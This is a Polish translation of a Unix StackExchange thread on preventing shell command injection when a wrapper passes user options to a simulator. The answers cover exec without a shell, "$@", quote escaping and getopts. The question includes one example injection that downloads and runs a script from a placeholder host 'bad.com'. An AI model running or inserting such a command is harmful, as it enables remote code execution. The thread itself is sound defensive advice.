Jak zapobiec wprowadzaniu poleceń za pomocą opcji poleceń?

13

Mam aplikację otoki, w której muszę pozwolić użytkownikowi określić niestandardowe opcje przekazywania do symulatora. Chcę jednak upewnić się, że użytkownik nie wstrzykuje innych poleceń za pomocą opcji użytkownika. Jaki jest najlepszy sposób na osiągnięcie tego?

Na przykład.

  • Użytkownik zapewnia: -a -b
  • Aplikacja wykonuje: mysim --preset_opt -a -b

Jednak nie chcę, aby tak się stało:

  • Użytkownik zapewnia: && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
  • Aplikacja wykonuje: mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh

Obecnie myślę, że mógłbym po prostu otoczyć każdą opcję dostarczoną przez użytkownika pojedynczymi cudzysłowami 'i usunąć wszelkie pojedyncze cytaty dostarczone przez użytkownika, aby polecenie w ostatnim przykładzie okazało się nieszkodliwe:

mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'

Uwaga: mysimKomenda jest wykonywana jako część skryptu powłoki w kontenerze dokowanym / lxc. Używam Ubuntu.

Victor Lyuboslavsky
źródło
Czy używasz evaldo uruchomienia aplikacji? Jeśli nie, wstrzyknięcie nie powinno nastąpić:x="&& echo Doomed" ; echo $x
choroba
1
Nie, nie używam eval. Nazywam plik wykonywalny mysimw skrypcie powłoki. Widzę, że doszło do wstrzyknięcia, jeśli po prostu skopiuję ciąg opcji dostarczonych przez użytkownika i wkleję go na końcu mysimpolecenia.
Victor Lyuboslavsky
Czy aplikacja otoki kopiuje i wkleja ciąg opcji?
choroba
Tak, opcje użytkownika pojawiają się jako pojedynczy ciąg, np -a -b. Chcę więc upewnić się, że dodatkowe polecenia nie zostaną wstrzyknięte do tego ciągu.
Victor Lyuboslavsky
1
umiesz na białej liście? tylko pozwalanie postaciom [a-zA-Z0-9 _-]wygląda na dość obronny wybór.
Ulrich Schwarz,

Odpowiedzi:

6

Jeśli masz kontrolę nad programem opakowania, upewnij się, że nie wywołuje on podpowłoki. W głębi instrukcji instrukcja wykonania programu składa się z pełnej ścieżki (bezwzględnej lub względnej do bieżącego katalogu) do pliku wykonywalnego oraz listy ciągów, które należy przekazać jako argumenty. Wyszukiwanie PATH, argumenty oddzielające białe znaki, operatory cytowania i sterowania są dostarczane przez powłokę. Bez skorupy, bez bólu.

Na przykład w przypadku opakowania Perla użyj formy listy execlub system. W wielu językach należy wywoływać jedną z funkcji execlub execXXX(lub unix.execjakkolwiek to się nazywa), a nie za pomocą systemlub za os.spawnpomocą shell=Falsedowolnej innej funkcji.

Jeśli opakowanie jest skryptem powłoki, użyj, "$@"aby przekazać argumenty, np

#!/bin/sh
mysim -preset-opt "$@"

Jeśli nie masz wyboru, a program opakowujący wywołuje powłokę, musisz podać argumenty przed przekazaniem ich do powłoki. Najłatwiejszym sposobem cytowania argumentów jest wykonanie następujących czynności:

  1. W każdym argumencie zastąp każde wystąpienie '(pojedynczego cudzysłowu) ciągiem czterech znaków '\''. (np. don'tstaje się don'\''t)
  2. Dodaj 'na początku każdego argumentu, a także na końcu każdego argumentu. (np. z don't, don'\''tstaje się 'don'\''t')
  3. Połącz wyniki z odstępem pomiędzy nimi.

Jeśli musisz to zrobić w opakowaniu powłoki, oto sposób.

arguments='-preset-opt'
for x; do
  arguments="$arguments '"
  while case $x in
    *\'*) arguments="$arguments${x%%\'*}'\\''"; x=${x#*\'};;
    *) false;; esac
  do :; done
  arguments="$arguments$x'"
done

(Niestety, ${VAR//PATTERN/REPLACEMENT}konstrukcja bash , która powinna się tu przydać, wymaga dziwnych cytatów i nie sądzę, że można ją uzyskać '\''jako tekst zastępczy.)

Gilles „SO- przestań być zły”
źródło
1

Można użyć bash za ${VAR//PATTERN/REPLACEMENT}idiom przekształcić pojedynczy cytat 'w '\''przez pierwsze wprowadzenie '\''do zmiennej (jako pośredni etap), a następnie rozszerza tę zmienną jako REPLACEMENTelement wspomnianej Bash idiomu.

# example 
{
str="don't"
escsquote="'\''"
str="'${str//\'/${escsquote}}'"
printf '%s\n' "$str"   #  'don'\''t'
}
yalo
źródło
0

Możesz użyć, getoptsw bashktórym możesz przeanalizować argumenty, np .:

while getopts a:b: opts; do
  case ${opts} in
    a)
      A=${OPTARG}
      ;;
    b)
      B=${OPTARG}
      ;;
  esac
done
kenorb
źródło